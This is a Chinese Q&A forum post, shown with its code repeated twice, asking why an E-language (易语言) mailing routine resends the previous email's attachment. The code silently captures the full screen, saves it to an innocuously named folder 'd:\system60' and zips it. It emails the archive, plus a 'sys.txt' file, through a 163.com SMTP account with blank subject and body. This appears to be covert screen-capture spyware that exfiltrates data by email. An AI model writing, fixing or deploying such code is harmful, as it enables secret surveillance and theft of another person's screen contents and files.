易语言发送第二个邮件时添加了第一个邮件的附件
.版本2.支持库internet.支持库eCompress.子程序发邮件0连接发信服务器(“smtp.163.com”,25,#邮箱账号,#邮箱密码,)zjj=快照(,取...
.版本 2
.支持库 internet
.支持库 eCompress
.子程序 发邮件0
连接发信服务器 (“smtp.163.com”, 25, #邮箱账号, #邮箱密码, )
zjj = 快照 (, 取屏幕宽度 (), 取屏幕高度 ())
写到文件 (“d:\system60\z.jpg”, zjj)
ZIP压缩1.压缩 (“d:\system60\z.jpg”, “d:\system60\z.zip”)
添加附件文件 (“d:\system60\z.zip”)
添加附件文件 (“d:\system60\sys.txt”)
发送邮件 (“无”, “无”, #收信人地址, , , #邮箱地址, )
断开发信服务器 ()
.子程序 发邮件
连接发信服务器 (“smtp.163.com”, 25, #邮箱账号, #邮箱密码, )
zjj = 快照 (, 取屏幕宽度 (), 取屏幕高度 ())
写到文件 (“d:\system60\z” + 到文本 (t) + “.jpg”, zjj)
ZIP压缩1.压缩 (“d:\system60\z” + 到文本 (t) + “.jpg”, “d:\system60\z” + 到文本 (t) + “.zip”)
添加附件文件 (“d:\system60\z” + 到文本 (t) + “.zip”)
发送邮件 (“无”, “无”, #收信人地址, , , #邮箱地址, )
断开发信服务器 ()
在第二个子程序 发邮件 中会出现第一个子程序 发邮件0 的附件,为什么,该怎么解决? 展开
.支持库 internet
.支持库 eCompress
.子程序 发邮件0
连接发信服务器 (“smtp.163.com”, 25, #邮箱账号, #邮箱密码, )
zjj = 快照 (, 取屏幕宽度 (), 取屏幕高度 ())
写到文件 (“d:\system60\z.jpg”, zjj)
ZIP压缩1.压缩 (“d:\system60\z.jpg”, “d:\system60\z.zip”)
添加附件文件 (“d:\system60\z.zip”)
添加附件文件 (“d:\system60\sys.txt”)
发送邮件 (“无”, “无”, #收信人地址, , , #邮箱地址, )
断开发信服务器 ()
.子程序 发邮件
连接发信服务器 (“smtp.163.com”, 25, #邮箱账号, #邮箱密码, )
zjj = 快照 (, 取屏幕宽度 (), 取屏幕高度 ())
写到文件 (“d:\system60\z” + 到文本 (t) + “.jpg”, zjj)
ZIP压缩1.压缩 (“d:\system60\z” + 到文本 (t) + “.jpg”, “d:\system60\z” + 到文本 (t) + “.zip”)
添加附件文件 (“d:\system60\z” + 到文本 (t) + “.zip”)
发送邮件 (“无”, “无”, #收信人地址, , , #邮箱地址, )
断开发信服务器 ()
在第二个子程序 发邮件 中会出现第一个子程序 发邮件0 的附件,为什么,该怎么解决? 展开
1个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询